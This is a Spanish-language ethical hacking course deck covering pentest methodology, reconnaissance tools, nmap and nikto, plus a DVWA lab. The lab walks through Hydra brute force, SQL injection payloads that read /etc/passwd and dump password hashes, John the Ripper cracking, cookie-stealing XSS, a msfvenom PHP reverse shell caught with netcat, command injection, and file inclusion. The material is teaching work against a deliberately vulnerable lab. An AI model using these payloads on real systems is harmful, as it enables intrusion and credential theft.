0% encontró este documento útil (0 votos)
256 vistas195 páginas

4.ethical Hacking Penetration Testing

Este documento proporciona una introducción a las técnicas de hacking ético, incluidas las herramientas y métodos para la realización de pruebas de penetración. Explica conceptos como reconocimiento, enumeración, análisis de vulnerabilidades, explotación y metodología de pruebas de penetración. También describe herramientas como Google Hacking, Whois y Nslookup que se utilizan comúnmente en la primera fase de reconocimiento para recopilar información sobre un objetivo.

Cargado por

Martin Motta
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
256 vistas195 páginas

4.ethical Hacking Penetration Testing

Este documento proporciona una introducción a las técnicas de hacking ético, incluidas las herramientas y métodos para la realización de pruebas de penetración. Explica conceptos como reconocimiento, enumeración, análisis de vulnerabilidades, explotación y metodología de pruebas de penetración. También describe herramientas como Google Hacking, Whois y Nslookup que se utilizan comúnmente en la primera fase de reconocimiento para recopilar información sobre un objetivo.

Cargado por

Martin Motta
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
Está en la página 1/ 195

Ethical

Hacking
Ethical Hacking
Contenido del curso

Capítulo 1. Introducción
Capítulo 2. Criptografía
Capítulo 3. Vulnerabilidades
Capítulo 4. Penetration Testing
Capítulo 5. Ingeniería Social
Capítulo 6. Redacción de un informe
Capítulo 7. Certificaciones
Ethical Hacking
Penetration Testing
¿Qué es el pentesting?

Son técnicas que se emplean para evaluar


dispositivos (como servidores, equipos finales,
dispositivos de interconexión, etc.) y sistemas
informáticos con el objetivo de identificar y
explotar vulnerabilidades y determinar el
impacto que pudieran causar al negocio (nivel
de riesgo).

4
Tipos de pruebas y
escenarios

5
Tipos de pruebas

Las pruebas de penetración se pueden


realizar de diversas formas y todas
dependen del conocimiento inicial que
se tenga sobre la organización y los
activos.

6
Tipo de pruebas

Pruebas de Caja Negra Pruebas de Caja Gris Pruebas de Caja Blanca


“Black Box” “Grey Box” “White Box”

No se tiene conocimiento de la Se tiene conocimiento sobre los Se tiene conocimiento sobre los
organización ni su activos a los que se les harán las activos a los que se les harán las
infraestructura pruebas. pruebas y la infraestructura.

7
Tipos de escenarios

Las pruebas de penetración se pueden


realizar desde dos escenarios, externo
e interno.

8
Tipo de escenarios

Pruebas externas
Se realizan pruebas desde un nodo
externo a la red de la organización
(internet).

Pruebas internas
Se realizan pruebas desde la red
interna de la organización.

9
Metodología

10
Metodología
Validación de vulnerabilidades
Identificación de activos. identificadas para descartar
Recopilación de información falsos positivos, ponderación
de aspectos técnicos de riesgos y obtener mayor
(puertos, servicios, dominio, información del activo y
rangos de red, etc. ). entorno de red.

Descubrimiento Análisis de
Reconocimiento Explotación
& Enumeración vulnerabilidades

Búsquedas pasivas para Metasploit database Identificar


identificar información de la vulnerabilidades que
organización en fuentes afectan a los activos.
públicas. secutils

11
Laboratorio
Reconocimiento

12
Google Hacking

Técnica que utiliza operadores


avanzados de búsqueda para filtrar
información sobre un objetivo en
particular.

13
Google Hacking
Operadores avanzados

¿Se puede usar con otros


Operador Descripción
operadores?
Búsqueda de texto en el título de sitios
intitle
web
inurl Búsqueda de texto en la url de sitios web
Búsqueda de texto en la url de sitios web
allinurl
(se puede buscar más de una palabra)
Búsqueda de archivos por extensión
filetype
(.pdf,.txt,.doc)
site Búsqueda en un sitio en específico
intext Búsqueda en el cuerpo del sitio web
Búsqueda en el cuerpo del sitio web
allintext
(puede buscar más de una palabra)
14
Google Hacking
intitle

15
Google Hacking
inurl

16
Google Hacking
allinurl https://github.com/daniel
miessler/SecLists/blob/mas
ter/Passwords/bt4-
password.txt

https://github.com/daniel
miessler/SecLists/blob/m
aster/Passwords/Commo
n-Credentials/10-million-
password-list-top-
1000000.txt

https://www.quora.com/How
-do-I-download-a-password-
txt-file-for-WinRAR

17
Google Hacking
filetype

18
Google Hacking
site

19
Google Hacking
intext

20
Google Hacking
allintext

21
Google Hacking Database
https://www.exploit-db.com/google-hacking-database

Base de datos de Google


“dorks”.
22
Google Hacking Database
intext:"username=" AND "password=" ext:log

23
Google Hacking Database
intext:"username=" AND "password=" ext:log

24
Google Hacking Database
intitle:"Index of" password.txt

25
whois

Protocolo TCP que se utiliza para


determinar el propietario de un
nombre de dominio o dirección IP
en internet.

26
WhoIs
Who.is

27
WhoIs
Who.is

28
WhoIs
Comando whois

• Escribir el siguiente comando en la terminal de Kali Linux.

whois facebook.com

Herramienta
whois

Nombre de
dominio a
consultar

29
WhoIs
Comando whois

• El resultado muestra
la información que
obtuvo de dominio
consultado.

30
nslookup

Herramienta utilizada para hacer


troubleshooting a servidores DNS y
determinar si está resolviendo
correctamente nombres de
dominio e IPs.

31
nslookup
Comando

• Escribir el siguiente comando en la terminal de Kali Linux.

nslookup
Herramienta
nslookup

• En el prompt que aparece escribir el dominio a consultar.

> facebook.com

Prompt Dominio a
consultar
32
nslookup
Comando

• El resultado muestra el
servidor DNS que resolvió la
consulta y la dirección IP
asignada al dominio.

33
nslookup
Comando

• Escribir el siguiente comando:

> server 8.8.8.8


Indica el servidor que va a
resolver las consultas

• Escribir el dominio a consultar:

> facebook.com

34
nslookup
Comando

• La IP 8.8.8.8 corresponde al
DNS de Google. El resultado
de la consulta muestra una
nueva dirección IP para el
dominio facebook.com.

35
nslookup
Registros NS de un dominio

• Escribir el siguiente comando:

> set type=ns


Indica que se requiere identificar registros
NS (son los servidores DNS que son
autoritarios para el dominio)

• Escribir el dominio a consultar:

> facebook.com

36
nslookup
Registros NS de un dominio

• El resultado muestra los


registros NS del dominio
facebook.com.

37
nslookup
Registros MX de un dominio

• Cambiar de servidor DNS a consultar:


> server d.ns.facebook.com

• Escribir el siguiente comando:


> set type=mx
Indica que se requiere identificar registros
MX (servidor de correo)

• Escribir el dominio a consultar:


> facebook.com

38
nslookup
Registros MX de un dominio

• El resultado muestra los


registros MX del dominio
facebook.com.

39
nslookup
Consultar todos los registros de un dominio

• Escribir el siguiente comando:


> set type=any

Indica que se requiere identificar todos los


registros de un dominio

• Escribir el dominio a consultar:


> facebook.com

40
nslookup
Consultar todos los registros de un dominio

• El resultado muestra todos


los registros del dominio
facebook.com.

41
Shodan

Motor de búsqueda de dispositivos


conectados a internet.

42
Shodan
https://shodan.io

43
Shodan
https://shodan.io

44
Shodan
https://shodan.io

45
Laboratorio
Descubrimiento y enumeración

46
3-Way Handshake

Técnica utilizada en redes TCP/IP para


crear una conexión entre un cliente y
un servidor. Esta técnica se realiza antes
de comenzar la comunicación para el
intercambio de datos.

47
3-Way Handshake
Estados

Abierto (open) Cerrado (closed)


SYN SYN
SYN-ACK RST-ACK
RST
Atacante Víctima Atacante Víctima

Filtrado (filtered)
SYN

Atacante Víctima
48
Nmap

Escáner de red de código abierto que


permite identificar puertos, servicios,
sistema operativo, entre otras
opciones de los dispositivos conectados
a una red.

49
Nmap
Descubrimiento de equipos en una red

• Escribir el siguiente comando en la terminal de Kali Linux:

nmap -sn network/netmask

Herramienta Red a
nmap escanear

Escaneo ping # de bits de la


(se deshabilita máscara de
escaneo de red
puertos)

50
Nmap
Descubrimiento de equipos en una red

• El resultado muestra dos IP, que son las máquinas que están conectadas en
nuestra red “Sólo Anfitrión”.

51
Nmap
Enumeración de puertos y servicios

• Escribir el siguiente comando en la terminal:

nmap IP

IP de la
máquina a
escanear

52
Nmap
Enumeración de puertos y servicios

• El resultado del escaneo muestra los puertos de la máquina, su estado y el


servicio que se está ejecutando en ellos:

53
Nmap
Identificación de versión de servicios

• Escribir el siguiente comando en la terminal:

nmap -sV IP

Identifica versión de los


servicios ejecutados en
los puertos abiertos

54
Nmap
Identificación de versión de servicios

• El resultado del escaneo muestra las versiones identificadas de los servicios


ejecutados en los puertos abiertos de la máquina.

55
Nmap
Identificación del sistema operativo

• Escribir el siguiente comando en la terminal:

nmap -O IP

Identifica el sistema
operativo que tiene la
máquina a escanear

56
Nmap
Identificación de versión de servicios

• El resultado del escaneo muestra el sistema operativo que está ejecutándose en


la máquina escaneada: Linux 2.4.x.

57
Nmap
NSE (Nmap Scripting Engine)

Característica de nmap que permite generar y compartir scripts para la


automatización de tareas de networking.

• Escribir el siguiente comando en la terminal:

nmap -sC IP

Indica a la herramienta
que ejecute los scripts

58
Nmap
Identificación de versión de servicios

• El resultado del escaneo


muestra el resultado de
los scripts que se
ejecutaron acorde a los
servicios identificados.

59
Laboratorio
Análisis de vulnerabilidades

60
Nikto

Escáner de vulnerabilidades de
software libre que escanea servidores
web en busca de fallas de seguridad.

Realiza búsqueda de archivos y


directorios, CGI peligrosos, listado de
directorios, etc.
61
Nikto
Escáner de vulnerabilidades

• Escribir el siguiente comando en la terminal:

nikto -host URL

Herramienta
nikto
Le indica a la
herramienta que
URL se va a
escanear
(Ej. http://a.com)
62
Nikto
Escáner de vulnerabilidades

63
Laboratorio
Explotación

64
Web Login Brute
Force
Web Login
Burpsuite
Realizar un intento de login y caturar la petición con Burpsuite.

Obtener el mensaje de error que muestra la página cuando el inicio de sesión falla:
Fuerza Bruta con Hydra
Estructura del comando de hydra:

hydra -L <username list> -P <password list> <IP Address> <service>


“<uri:form parameters:failed login message>"

Escribir en terminal:
hydra -L /usr/share/wordlists/metasploit/http_default_users.txt -P
/usr/share/wordlists/metasploit/http_default_pass.txt 192.168.56.102
http-post-form
"/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"
Fuerza Bruta con Hydra

Resultado:
Fuerza Bruta con Hydra
Acceso con credenciales identificadas:
Inyección SQL
Inyección SQL

Ataque a aplicaciones web que permite a un atacante inyectar consultas


SQL y obtener, eliminar o modificar registros de la base de datos así
como agregar nuevos usuarios a nivel de base de datos, etc.

Esta vulnerabilidad se debe a una falta de sanitización


en los datos de entrada que proporciona un usuario.
Inyección SQL
Cómo funciona un inicio de sesión:

$username = $_GET[‘username’];
$password = $_GET[‘password’];
hramirez $query = “SELECT * FROM users WHERE
username = ‘$username’ AND password =
hr7511 ‘$pasword’”;

mysql_query($query);

Tabla: users
id user password full_name level
1 ajmorales aj8209 Andrés Morales 1
2 hramirez hr7511 Hiram Ramírez 2
.. .. .. .. ..
Inyección SQL

$query = “SELECT * FROM users WHERE


username = '$username' AND password =
'$pasword'”;

hramirez

hr7511

$query = “SELECT * FROM users WHERE


username = 'hramirez' AND password =
'hr7511'”;
Inyección SQL

$query = “SELECT * FROM users WHERE


username = '$username' AND password =
'$pasword'”;

' or 1='1

hr7511

$query = “SELECT * FROM users WHERE


username = '' or 1='1' AND password =
'hr7511'”;

No user found!
Inyección SQL
$query = “SELECT * FROM users WHERE
username = '$username' AND password =
'$pasword'”;

' or 1='1' #

hr7511

$query = “SELECT * FROM users WHERE


username = '' or 1='1' #' AND password =
'hr7511'”;
Tabla: users
id user password full_name level
1 ajmorales aj8209 Andrés Morales 1
2 hramirez hr7511 Hiram Ramírez 2
.. .. .. .. ..
Laboratorio
Laboratorio
Máquina virtual Kali Linux

Configurar el nivel de
dificultad
Laboratorio
Máquina virtual Kali Linux

Sección “SQL Injection”


Laboratorio
Máquina virtual Kali Linux

Inyección SQL #1

• Colocar una comilla simple en el campo “User ID”.


Laboratorio
Máquina virtual Kali Linux

Inyección SQL #1

El error nos indica que los datos ingresados en el campo “User ID” no están
sanitizados.
Laboratorio
Máquina virtual Kali Linux

Inyección SQL #1

• Colocar el siguiente comando SQL:

' or 1='1
Laboratorio
Máquina virtual Kali Linux

Inyección SQL #1

Lo que resulta de la inyección son


todos los registros de la tabla que
se consultar al dar clic en “Submit”.
Laboratorio
Máquina virtual Kali Linux

Inyección SQL #2

• Colocar el siguiente comando SQL.

' UNION SELECT VERSION(),1 #

Seleccionará la
Une el resultado del versión de la base de
primer SELECT con el datos y un 1
segundo SELECT
Se comenta el resto
de la consulta SQL
Laboratorio
Máquina virtual Kali Linux

Inyección SQL #2
' UNION SELECT VERSION(),1 #
First name Surname
vacío vacío

columna 1
columna 2
column1 column2
4.3.2 1
SELECT firstname, surname FROM users
WHERE id='' UNION SELECT VERSION(),1
# … comenta el resto de la consulta
First name Surname
4.3.2 1
Laboratorio
Máquina virtual Kali Linux

Inyección SQL #2

El resultado de la inyección es la versión del manejador de la base de datos que


está utilizando la aplicación web.
Laboratorio
Máquina virtual Kali Linux

Inyección SQL #3

• Colocar el siguiente comando SQL.

' UNION SELECT DATABASE(),1 #


Laboratorio
Máquina virtual Kali Linux

Inyección SQL #3

El resultado de la inyección es el nombre de la base de datos que está utilizando la


aplicación web.
Laboratorio
Máquina virtual Kali Linux

Inyección SQL #4

• Colocar el siguiente comando SQL.

' UNION SELECT USER(),1 #


Laboratorio
Máquina virtual Kali Linux

Inyección SQL #4

El resultado de la inyección es el usuario que la aplicación web utiliza para


conectarse a la base de datos.
Laboratorio
Máquina virtual Kali Linux

Inyección SQL #5

• Colocar el siguiente comando SQL.

' UNION SELECT LOAD_FILE('/etc/passwd'),1 #


Laboratorio
Máquina virtual Kali Linux

Inyección SQL #5

El resultado de la inyección
es el contenido del archivo
passwd de Linux.

Este archivo contiene los


atributos de todas las
cuentas registradas en el
sistema operativo.
Laboratorio
Máquina virtual Kali Linux

Inyección SQL #6

• Colocar el siguiente comando SQL.

' UNION SELECT 1,table_name FROM information_schema.tables #


Laboratorio
Máquina virtual Kali Linux

Inyección SQL #6

El resultado de la inyección son todas


las tablas que están registradas en la
base de datos information_schema.

Esta base de datos almacena


información sobre todas las bases de
datos registradas en MySQL.
Laboratorio
Máquina virtual Kali Linux

Inyección SQL #7

• Colocar el siguiente comando SQL.

' UNION SELECT 1, CONCAT(table_name,0x0a,column_name) FROM


information_schema.columns WHERE table_name = 'users' #
Laboratorio
Máquina virtual Kali Linux

Inyección SQL #7

El resultado de la inyección son todas


las columnas de la tabla ‘users’
registrada en la base de datos
information_schema.
Laboratorio
Máquina virtual Kali Linux

Inyección SQL #8

• Colocar el siguiente comando SQL.

' UNION SELECT 1, CONCAT(first_name,0x0a,last_name,0x0a,


user,0x0a,password) FROM users #
Laboratorio
Máquina virtual Kali Linux

Inyección SQL #8

El resultado de la inyección son todos


los registros de la tabla ‘users’.
Laboratorio
Máquina virtual Kali Linux

Romper hashes con John the Ripper

• Abrir una terminal en Kali Linux.


• Guardar los hashes obtenidos de la inyección #8 en un archivo de texto de la
siguiente manera.
usuario:hash
• Ejemplo:
Laboratorio
Máquina virtual Kali Linux

Romper hashes con John the Ripper

• Escribir el siguiente comando:

john --format=raw-MD5 dvwa_hash.txt

Archivo donde se
Herramienta John the han guardado los
Ripper hashes
Función hash
utilizada para generar
los hashes
Laboratorio
Máquina virtual Kali Linux

Romper hashes con John the Ripper

Contraseñas
Cross-Site Scripting
(XSS)
Cross-Site Scripting (XSS)

Ataque a aplicaciones web que permite a un atacante inyectar código


JavaScript (o en otro lenguaje similar. El ataque ocurre cuando la víctima
visita el sitio web vulnerable que ejecuta el código malicioso.

Una aplicación web es vulnerable cuando no sanitiza


la información proporcionada por los usuarios que
posteriormente es mostrada en el sitio.
XSS

Los caracteres que permiten esta vulnerabilidad son:


<> “ ‘
Menor qué y Comillas Comillas
mayor qué simples

Cuando se sanitiza la información que proporciona un usuario, estos


caracteres se convierten a entidades HTML, para que no puedan ser
considerados como código JavaScript.

&lt; &gt; &quot; &apos


(&#60) (&#62) (&#34) (&#39)
XSS

<script>alert(‘XSS’);</script>
XSS

Existen dos tipos de XSS:

Cuando una petición HTTP (que no está


1 Reflejado almacenada en el sitio) entrega y ejecuta
el script malicioso.

Cuando un sitio almacena el script


2 Almacenado malicioso y lo ejecuta cada vez que la
página vulnerable es consultada.
Laboratorio
XSS reflejado
Laboratorio
Máquina virtual Kali Linux

XSS reflejado

• Ir a la sección “XSS reflected”.


Laboratorio
Máquina virtual Kali Linux

XSS reflejado

• Colocar en el campo el siguiente script:

<script>alert(“Esta es una prueba XSS");</script>

Finalización del
Inicio del script script
Mensaje

Muestra un mensaje
de alerta con un
botón de “OK”
Laboratorio
Máquina virtual Kali Linux

XSS reflejado
Laboratorio
Máquina virtual Kali Linux

XSS reflejado
Laboratorio
XSS almacenado
Laboratorio
Máquina virtual Kali Linux

XSS almacenado #1

Ir a la sección “XSS stored”.


Laboratorio
Máquina virtual Kali Linux

XSS almacenado #1

• Escribir el siguiente XSS en el campo “Message”:

<script>alert(“Esta es una prueba XSS");</script>


Laboratorio
Máquina virtual Kali Linux

XSS almacenado #1

Cada vez que se cargue


la página se ejecutará el
código malicioso
Laboratorio
Máquina virtual Kali Linux

XSS almacenado #2

• Escribir el siguiente XSS en el campo “Message”:

<script>alert(document.cookie);</script>
Laboratorio
Máquina virtual Kali Linux

XSS almacenado #2
Laboratorio
Máquina virtual Kali Linux

XSS almacenado #3
Atacante Víctima
1. Subir payload: shell.php http://dvwa/../../shell.php
2. XSS almacenado <script>window.location=“http:/
3. Visitar página con XSS almacenado /dvwa/../../shell.php” </script>

4. Se obtiene shell reversa

Este ataque se aprovecha de dos vulnerabilidades en la aplicación:


1. Permite subir cualquier tipo de archivo a la aplicación.
2. Hay un campo vulnerable a XSS.
Laboratorio
Máquina virtual Kali Linux

XSS almacenado #3

Conceptos/herramientas:

▪ Shell: Interfaz de usuario que permite el acceso a servicios de un sistema operativo.

▪ Payload: Son scripts que utilizan los hackers para interactuar con un sistema explotado.
Transfieren información al sistema víctima.

▪ msfvenom: Herramienta que permite generar payloads y codificarlos.

▪ netcat (nc): Herramienta que permite abrir puertos TCP/UDP y asociar shells.
Laboratorio
Máquina virtual Kali Linux

XSS almacenado #3

Identificar la dirección IP de la máquina atacante.

• Escribir el siguiente comando en una terminal en Kali Linux.

ifconfig
Laboratorio
Máquina virtual Kali Linux

XSS almacenado #3

Crear payload

• Escribir el siguiente comando en la terminal:

msfvenom -p php/reverse_php LHOST=192.168.56.6 LPORT=6666 > ./rev-shell.php

Dirección IP del
Herramienta atacante Puerto
Payload a utilizar Nombre del archivo
donde se guardará el
payload
Laboratorio
Máquina virtual Kali Linux

XSS almacenado #3

Crear payload
Laboratorio
Máquina virtual Kali Linux

XSS almacenado #3

Cargar el payload en la
aplicación DVWA

• Ir a la sección “Upload”.
Laboratorio
Máquina virtual Kali Linux

XSS almacenado #3

Cargar el payload en la aplicación DVWA

• Clic en “Browse”.
• Seleccionar el payload generado.
• Clic en “Open”.
Laboratorio
Máquina virtual Kali Linux

XSS almacenado #3

Cargar el payload en la aplicación DVWA

• Guardar la ruta donde se cargó el archivo del payload.


Laboratorio
Máquina virtual Kali Linux

XSS almacenado #3

Abrir puerto para recibir una conexión

• En la terminal, escribir el siguiente comando:

nc -lvp 6666
Número de puerto
Herramienta donde se abrirá la
conexión
l: Modo escucha
v: Verbose
p: Puerto local
Laboratorio
Máquina virtual Kali Linux

XSS almacenado #3

Abrir puerto para recibir una conexión


Laboratorio
Máquina virtual Kali Linux

XSS almacenado #3

Tamaño de campo

• Ir a la sección “XSS stored”.


• Modificar el tamaño del campo “Message” ya que sólo permite 50 caracteres y
se necesitan más para introducir el script a inyectar.
• Clic derecho en el campo.
• Seleccionar “Inspeccionar el elemento”.
• Cambiar el valor en la opción “maxlength” a 150.
• Cerrar barra de edición.
Laboratorio
Máquina virtual Kali Linux

XSS almacenado #3

Tamaño de campo
1 2
Laboratorio
Máquina virtual Kali Linux

XSS almacenado #3

Explotar XSS

• Ir a la sección “XSS stored”.


• Colocar en el campo “Message” el siguiente script:

<script>window.location="http://192.168.56.7/hackable/uploads/
rev-shell.php"</script>
TAG de HTML Redirecciona URL de
que indica el al sitio TAG de HTML que indica redirección
inicio de un indicado el final de un script (ruta del
script payload)
Laboratorio
Máquina virtual Kali Linux

XSS almacenado #3

Explotar XSS
Laboratorio
Máquina virtual Kali Linux

XSS almacenado #3

Explotar XSS

Cuando se ejecuta el payload inicia una conexión reversa del sistema vulnerable a la
máquina del atacante y regresa una shell.
Laboratorio
Máquina virtual Kali Linux

XSS almacenado #3

Explotar XSS

Se pueden ejecutar
comandos para obtener
información del sistema
hackeado:

whoami
pwd
ifconfig
Laboratorio
Inyección de código
Inyección de comandos

Vulnerabilidad en aplicaciones web que permiten la ejecución de


comandos de sistema. Los comandos que se pueden ejecutar
dependen de los permisos que tenga la aplicación web.
Laboratorio
Máquina virtual Kali Linux

Inyección de comandos

• Ir a la sección “Command Execution”.


Laboratorio
Máquina virtual Kali Linux

Inyección de comandos

• Escribir en el campo la dirección IP de la máquina de Kali Linux.


• Clic en “submit”.
Laboratorio
Máquina virtual Kali Linux

Inyección de comandos
Laboratorio
Máquina virtual Kali Linux

Inyección de comandos #1

• Escribir lo siguiente en el cuadro de texto:

192.168.56.6; cat /etc/passwd


Laboratorio
Máquina virtual Kali Linux

Inyección de comandos #1

Lo que hace la aplicación es


primero ejecutar el ping y después
imprimir el contenido del archivo
passwd.
Laboratorio
Máquina virtual Kali Linux

Inyección de comandos #2

• Escribir lo siguiente en el cuadro de texto:

192.168.56.6; cat /etc/passwd | tee /tmp/passwd


Laboratorio
Máquina virtual Kali Linux

Inyección de comandos #2

• Escribir lo siguiente en el cuadro de texto:

192.168.56.6; ls /tmp/passwd
Laboratorio
Máquina virtual Kali Linux

Inyección de comandos #2

El resultado de la inyección muestra


el contenido del directorio /tmp, en
donde debería estar el archivo
copiado de passwd.
Laboratorio
Inserción de archivos
Inserción de archivos

Vulnerabilidad que permite a un atacante acceder a archivos


restringidos o ejecutar archivos maliciosos en el servidor web.
Inserción de archivos

Remote File Inclusion (RFI)


• Permite a un atacante ejecutar código que está almacenado en su propia
máquina (La aplicación web descarga y ejecuta el archivo remoto).
• Son fáciles de explotar pero muy raras.

Local File Inclusion (LFI)


• Permite a un atacante leer (o ejecutar) archivos en la
máquina de la víctima.
Laboratorio
Máquina virtual Kali Linux

Inserción local de archivos (LFI)

• Ir a la sección “File Inclusion”.


Laboratorio
Máquina virtual Kali Linux

Inserción local de archivos (LFI)

• Escribir lo siguiente en la barra de direcciones del navegador:

http://192.168.56.7/vulnerabilities/fi/?page=../etc/passwd

Dirección IP Ruta de la
Directory transversal
de la máquina aplicación
(Se probarán los ‘../’
DVWA donde está la
requeridos para
vulnerabilidad
acceder al archivo
passwd)
Laboratorio
Máquina virtual Kali Linux

Inserción local de archivos (LFI)


Laboratorio
Máquina virtual Kali Linux

Inserción local de archivos (LFI)

• Escribir un “../” adicional para ver si el archivo que queremos leer está en esa
ubicación.

http://192.168.56.7/vulnerabilities/fi/?page=../../etc/passwd

“../” adicional
Laboratorio
Máquina virtual Kali Linux

Inserción local de archivos (LFI)


Laboratorio
Máquina virtual Kali Linux

Inserción local de archivos (LFI)

• Continuar colocando “../” adicionales hasta que se pueda acceder al archivo.


Laboratorio
Máquina virtual Kali Linux

Inserción local de archivos (LFI)

• Se pueden acceder a demás archivos una vez que se ha identificado un


directorio válido:

• /etc/issue
• /proc/version
• /etc/profile
• /etc/shadow
• /root/.bash_history
• /var/log/dmessages
• /var/mail/root
Laboratorio
Máquina virtual Kali Linux

Inserción remota de archivos (RFI)

• Escribir lo siguiente en la barra de tareas del navegador:

http://192.168.56.7/vulnerabilities/fi/?page=https://www.google.co
m
Laboratorio
Máquina virtual Kali Linux

Inserción remota de archivos (RFI)


Laboratorio
Web Crawler
Laboratorio
Máquina virtual Kali Linux

Web crawler

Dirbuster

• Escribir en la terminal el siguiente comando:

dirbuster

Herramienta que permite hacer


fuerza bruta a directorios y archivos
de una aplicación web
Laboratorio
Máquina virtual Kali Linux

Web crawler

Dirbuster
Laboratorio
Máquina virtual Kali Linux

Web crawler

Dirbuster

Colocar en target la URL de la aplicación web de DVWA.


Laboratorio
Máquina virtual Kali Linux

Web crawler

Dirbuster

• Seleccionar un diccionario de directorios de dirbuster.


Laboratorio
Máquina virtual Kali Linux

Web crawler

Dirbuster

• Ir a:
/usr/share/dirbuster/wordlists/

• Seleccionar el archivo:
directory-list-2.3-medium.txt
Laboratorio
Máquina virtual Kali Linux

Web crawler

Dirbuster

• Dar clic al botón “Start”.


Laboratorio
Máquina virtual Kali Linux

Web crawler

Dirbuster

• El resultado nos muestra todos los


directorios y archivos que tiene la
aplicación web.
Laboratorio
Máquina virtual Kali Linux

Web crawler

Dirbuster

• Visitar uno de los directorios que


muestra el resultado de dirbuster.
Metasploit

Herramienta de código abierto para la validación y


explotación de vulnerabilidades.

Fue desarrollado inicialmente por H.D. Moore y


ahora es mantenido por Rapid7.

165
Metasploit Framework
Interfaces

msfconsole: Interfaz de
línea de comandos
interactiva.

armitage: Interfaz
gráfica de metasploit.

msfweb: Interfaz
web de metasploit.

166
Metasploit Framework
Módulos

Metasploit cuenta con 6 módulos en cualquiera de sus interfaces:

(1) exploits: Módulos que se aprovechan de una vulnerabilidad de un


sistema o aplicación.

(2) payloads: Permite conectarse a los sistemas ya vulnerados o


vulnerarlos.

(3) auxiliary: Son módulos que proveen capacidades que no se podrían


catalogar en otros módulos (fuzzers, scanners, DoS, etc.).
167
Metasploit Framework
Módulos

(4) nops: En lenguaje máquina, un NOP significa “No OPeration”, los


cuales ocasionan que un CPU no haga nada durante un ciclo de reloj.
Los NOP son esenciales para que el sistema ejecute código remoto
después de un exploit tipo Buffer Overflow.

(5) post: Módulos que son utilizados después de explotar un sistema


(post-exploitation).

(6) encoders: Módulos que permiten codificar los payloads y exploits


para evadir sistemas de seguridad como IDS o AV.
168
msfconsole
Inicio

Escribir en la terminal de Kali


Linux:

msfconsole

169
msfconsole
Búsqueda de módulos

Para buscar algún módulo en metasploit, usar el siguiente comando:

search <búsqueda>

170
msfconsole
Utilizar un módulo

Para usar un módulo:


use <nombre_módulo>

171
msfconsole
Utilizar un módulo

Para mostrar las opciones del módulo:

show options

172
msfconsole
Configurar un módulo

Las opciones del módulo que vamos a configurar son: PASS_FILE,


RHOSTS, USERNAME.

set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt


set RHOSTS 192.168.56.9
set USERNAME root

173
msfconsole
Configurar un módulo

174
msfconsole
Configurar un módulo

Usar el siguiente comando para ejecutar el módulo.

exploit

El resultado muestra la
contraseña(s) con las que pudo
iniciar sesión.

175
Anexo:
OWASP Top 10
2017
OWASP
Open Web Application Security Project

Es un proyecto abierto
desarrollado por una comunidad
de voluntarios que produce
artículos, metodologías,
herramientas y documentación
sobre seguridad en aplicaciones
web.
OWASP – Top 10
Uno de los principales proyectos de
OWASP es un listado de las 10 Descripción
vulnerabilidades identificadas con
mayor frecuencia en aplicaciones
web. Vulnerabilidad Impacto

Remediación Riesgo
OWASP – Top 10
Uno de los principales proyectos de
OWASP es un listado de las 10 Descripción
vulnerabilidades identificadas con
mayor frecuencia en aplicaciones
web. Vulnerabilidad Impacto

Remediación Riesgo
OWASP – Top 10
A1 - Injection
A2 - Broken Authentication
A3 - Sensitive Data Exposure
A4 - XML External Entities (XEE)
A5 - Broken Access Control
A6 - Security Misconfiguration
A7 - Cross-Site Scripting
A8 - Insecure Deserialization
A9 - Using Components With Known Vulnerabilities
A10 - Insufficient Logging And Monitoring
OWASP – Top 10
A1- Injection
Vulnerabilidad relacionada con
inyección de código. Esto ocurre Inyección Inyección de
cuando datos no confiables son SQL comandos
enviados a un intérprete y se
anexan como parte del comando o
consulta. Inyección
LDAP
OWASP – Top 10
A2- Broken Authentication
Vulnerabilidad relacionada con la
implementación no segura de
funciones de autenticación y Llaves
administración de sesiones.
Contraseñas

Tokens de sesión
OWASP – Top 10
A2- Broken Authentication
Vulnerabilidad relacionada con la
implementación no segura de
funciones de autenticación y Llaves
administración de sesiones.
Contraseñas

Tokens de sesión
OWASP – Top 10
A3- Sensitive Data Exposure
Vulnerabilidad que se debe a una
mala protección de datos
sensibles en aplicaciones web o
APIs. Información financiera
Información de salud
PII*

* Personally Identifiable Information


OWASP – Top 10
A3- Sensitive Data Exposure
Vulnerabilidad que se debe a una
mala protección de datos
sensibles en aplicaciones web o
APIs. Información financiera
Información de salud
PII*

* Personally Identifiable Information


OWASP – Top 10
Extracción de
A4 - XML External Entities archivos
(XXE) internos

Vulnerabilidad que se origina por la


mala configuración de Ejecución de
procesadores XML, los cuales código remoto
evalúan referencias a entidades
externas dentro de documentos
XML. Denegación
de servicios.
OWASP – Top 10 Acceso a archivos
sensibles

A5 - Broken Access Control Modificaciones

Acceso a cuentas de
Vulnerabilidad en aplicaciones otros usuarios
donde las restricciones de las
acciones de los usuarios son
inseguras.

Acceso a
funcionalidad/información
no autorizada
OWASP – Top 10
Cuentas por defecto

A6 - Security Misconfiguration Mensajes de error


con información de
importancia
Vulnerabilidad resultante de
configuraciones por defecto, Archivos y directorios
sin protección
incompletas o innecesarias, que
son inseguras.
Servicios
innecesarios

Falta de
actualización
OWASP – Top 10
A7 - Cross-Site Scripting XSS
Vulnerabilidad que ocurre cuando
una amenaza compromete las
interacciones que un usuario tiene
Redirección a sitios maliciosos
con la aplicación al inyectar código
JavaScript o similar. Secuestro de sesiones

Deface de sitios web

Robo de cookies
OWASP – Top 10
A7 - Cross-Site Scripting XSS
Vulnerabilidad que ocurre cuando
una amenaza compromete las
interacciones que un usuario tiene
Redirección a sitios maliciosos
con la aplicación al inyectar código
JavaScript o similar. Secuestro de sesiones

Deface de sitios web

Robo de cookies
OWASP – Top 10 Archivos
010010110
